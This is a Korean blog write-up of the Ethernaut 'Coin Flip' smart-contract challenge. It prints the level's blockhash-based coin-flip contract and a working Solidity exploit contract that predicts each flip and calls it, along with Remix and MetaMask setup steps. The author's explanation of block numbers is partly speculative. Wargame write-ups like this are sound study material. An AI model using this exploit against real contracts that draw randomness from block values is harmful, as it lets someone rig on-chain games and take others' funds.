coin flip 이라는 문제인데, 10번의 결과를 맞추면 되고 “?”에서 Beyound the console 부분을 보면 도움이 될 거라고 한다.
Remix IDE를 이용하거나 local ruffle project를 설정해서 콘솔 밖에서 컨트랙트에 개입하라는 것 같은데, 뭔 말인지 모르겠지만 일단 Remix를 써 본 적이 있어 이게 그나마 친숙하니 그걸 사용해보기로 했다.
소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
코드는 짧다.
생성자로 consecutiveWins 변수를 0으로 만들어준다.
flip 함수를 보자.
blockValue는 block number에서 1의 뺀 block의 hash값을 넣어준다
만약 이 값이 lastHash와 같으면 함수를 중지한다.
conFlip 변수에는 blockValue를 FACTOR 값으로 나눈 값이 들어가고, conFlip이 1이면 ture, 1이 아니면 false의 값이 side 변수에 들어간다.
side와 flip함수의 매개변수인 _guess의 값이 같으면 consecutiveWins 변수의 값이 1 증가하고 다르다면 0을 넣어준다.
이 consecutiveWins 변수의 값을 10을 만들면 될 것 같은데
먼저 Remix IDE에 내 metamask 지갑을 연동했다.
여기서 Injected Provider - MetaMask를 클릭해서 내 지갑을 연동할 수 있는데, 이게 처음에 안된다면
크롬 우측 상단에 메타마스크 여우 그림에 우클릭을 하고 확장 프로그램 관리를 눌러준다.
여기서 화살표 눌러서 뒤로 가면 현재 사용하고 있는 확장 프로그램들이 다 나올건데,
우측 상단에 개발자 모드가 있다 그걸 활성화하주고 왼쪽 상단에 업데이트를 눌러주면
Injected Provider - MetaMask → 요게 활성화될 것이다.
그 뒤에는 그냥 지갑 연동하면 된다.
그 뒤에는 뭐 어떻게 해야할 지 감이 잡히지 않아 우선 level의 contract와 연동해서 flip함수를 호출할 수 있는 지 확인해보았다.
// SPDX-License-Identifier: UNLICENCED
pragma solidity ^0.8.0;
interface Iexp{
function flip(bool _guess) external view returns (bool);
}
contract Exploit{
address levelInstance = 0x42aa4a412Eadc258C97221fbC55118F7871cd90D;
Iexp flipcontract = Iexp(levelInstance);
function getfactor(bool _g) public view returns (bool) {
return Iexp(levelInstance).flip(_g);
}
}
코드는 이렇게 작성하였는데, deploy는 성공했지만
flip을 호출할 수 없었다.
코드를 조금 수정해보니 실행은 성공했다. 그리고 문제해결의 실마리를 잡은 것 같아 시도해봤는데 그 방법대로 그냥 문제가 풀려서 설명을 해보자면
코드에서 blockhash함수의 인자값으로 들어가는 것은 block.number - 1
이다.
근데 이 값을 유추할 수 있지 않을까? 트랜잭션이 시작되면 어차피 블럭의 개수는 0개부터 시작하지 않을까 해서 테스트할 코드를 짜 봤다.
pragma solidity ^0.8.0;
contract CoinTest {
uint256 blockValue;
function test() public returns (uint256) {
blockValue = uint256(block.number - 1);
return blockValue;
}
}
코드는 이렇게 짰고, test함수를 호출하면
이렇게 block.number - 1
의 값을 “1”이라고 보여주는 것을 볼 수 있는데, 처음 block.number의 값이 2인 이유는 처음 스마트 컨트랙트를 deploy할 때 하나, test 함수를 호출할 때 하나가 생기는 것이기 때문이지 않을까 생각이 된다.
이 부분을 좀 확인할 수 있으면 좋겠는데, 차후 방법을 찾으면 내용을 추가하려고 한다.
아무튼 이렇게 test를 통해 나의 가설은 어느정도 맞아떨어졌지만, 이게 ethernaut의 coinflip 문제에서도 똑같은 갯수의 block을 가지고 시작하는 지는 정확히 알 수 없어서 실제로 테스트를 진행해 보았다.
exploit코드는 다음과 같이 작성하였다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract Exploit{
ICoinFlip public coinflip;
constructor(address _level) {
coinflip = ICoinFlip(_level);
}
function guess_bool() public view returns (uint256){
uint256 blockValue = uint256(blockhash(block.number - 1));
return blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
}
function flip() public {
bool guess = guess_bool() == 1 ? true : false;
coinflip.flip(guess);
}
}
이렇게 작성하고 컨트랙트를 deploy하면 metamask를 통해 contract를 배포할 수 있고, flip함수를 호출시킬 때마다 consecutiveWins 변수의 값이 1씩 증가하는 것을 확인할 수 있다.
(그런데 flip함수가 매 번 성공하는 것은 아니다. 이유는 모르겠는데, transaction 자체가 실패할 때도 있고, transaction이 실패할 거라며 그래도 진행하겠냐고 물어보기도 한다. 그럴땐 그냥 또 시도하면 성공함.)
words 부분에 숫자가 하나씩 커지는게 보이쥬? 무난하게 성공하고 있다.
이제 이 숫자가 10일때, submit을 해주면 아래처럼 또 문제 풀었다고 요란하게 축하해준다.
처음에 문제를 너무 어렵게 생각한 것이 문제푸는데 오히려 독이 된 것 같다. 뭐 상호작용하래서 뭔가 특수한 방법으로 변수의 값을 가져와야하는 건가 했는데, 그렇게 어려운 문제가 아니었음.
Uploaded by N2T